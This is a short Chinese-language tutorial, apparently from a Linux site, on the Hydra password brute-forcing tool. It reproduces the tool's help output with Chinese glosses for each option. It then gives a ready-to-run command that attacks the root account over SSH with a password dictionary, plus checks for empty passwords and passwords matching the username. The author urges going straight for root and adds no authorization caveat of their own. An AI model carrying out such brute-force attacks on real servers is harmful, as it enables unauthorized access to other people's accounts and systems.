hydra 是一个暴力破解工具，主要是针对Linux的。如果知道合法的用户名更好，要是实在是不知道，那也没关系，直接暴力破解root吧，一步到位。
先看下hydra -h的显示，再慢慢解释好了。
Syntax: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e ns] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-f] [-s PORT] [-S] [-vV]
server service [OPT]
Options: -R restore a previous aborted/crashed session 恢复中断的会话 -S connect via SSL 通过SSL连接 -s PORT if the service is on a different default port, define it here 如果www.linuxidc.com不是默认的端口，指定端口 -l LOGIN or -L FILE login with LOGIN name, or load several logins from FILE -l是指需破解的用户名，-L是指需破解的用户所在的文件 -p PASS or -P FILE try password PASS, or load several passwords from FILE 载入密码字典 -e ns additional checks, “n” for null password, “s” try login as pass 尝试空口令或者与用户名相同的密码 -C FILE colon seperated “login:pass” format, instead of -L/-P options 指定一个含有login:pass的文件，取代-L/-P选项 -M FILE server list for parallel attacks, one entry per line 指定目标地址文件，一行一个地址 -o FILE write found login/password pairs to FILE instead of stdout 将找到的密码写入文件中 -f exit after the first found login/password pair (per host if -M) 找到密码后退出 -t TASKS run TASKS number of connects in parallel (default: 16) 指定线程数目，默认是16 -w TIME defines the max wait time in seconds for responses (default: 30) 响应最大等待时间30s -v / -V verbose mode / show login+pass combination for each attempt 详细模式 server the target server (use either this OR the -M option) 目标ip地址 service the service to crack. Supported protocols: telnet ftp pop3[-ntlm] imap[-ntlm] smb smbnt http[s]-{head|get} http-{get|post}-form http-proxy cisco cisco-enable vnc ldap2 ldap3 mssql mysql oracle-listener postgres nntp socks5 rexec rlogin pcnfs snmp rsh cvs svn icq sapr3 ssh2 smtp-auth[-ntlm] pcanywhere teamspeak sip vmauthd firebird ncp 所支持的服务 OPT some service modules need special input (see README!)
Use HYDRA_PROXY_HTTP/HYDRA_PROXY_CONNECT and HYDRA_PROXY_AUTH env for a proxy. Hydra is a tool to guess/crack valid login/password pairs - use allowed only for legal purposes! If used commercially, tool name, version and web address must be mentioned in the report. Find the newest version at http://www.thc.org
大致上就是如此了。现在来实际操作一下。 hydra -l root -P /home/Linux/passwd.dic -e ns -f -vV target_ip ssh2
当出现[STATUS] attack finished for target_ip (waiting for childs to finish) 时，表示已经破解成功。
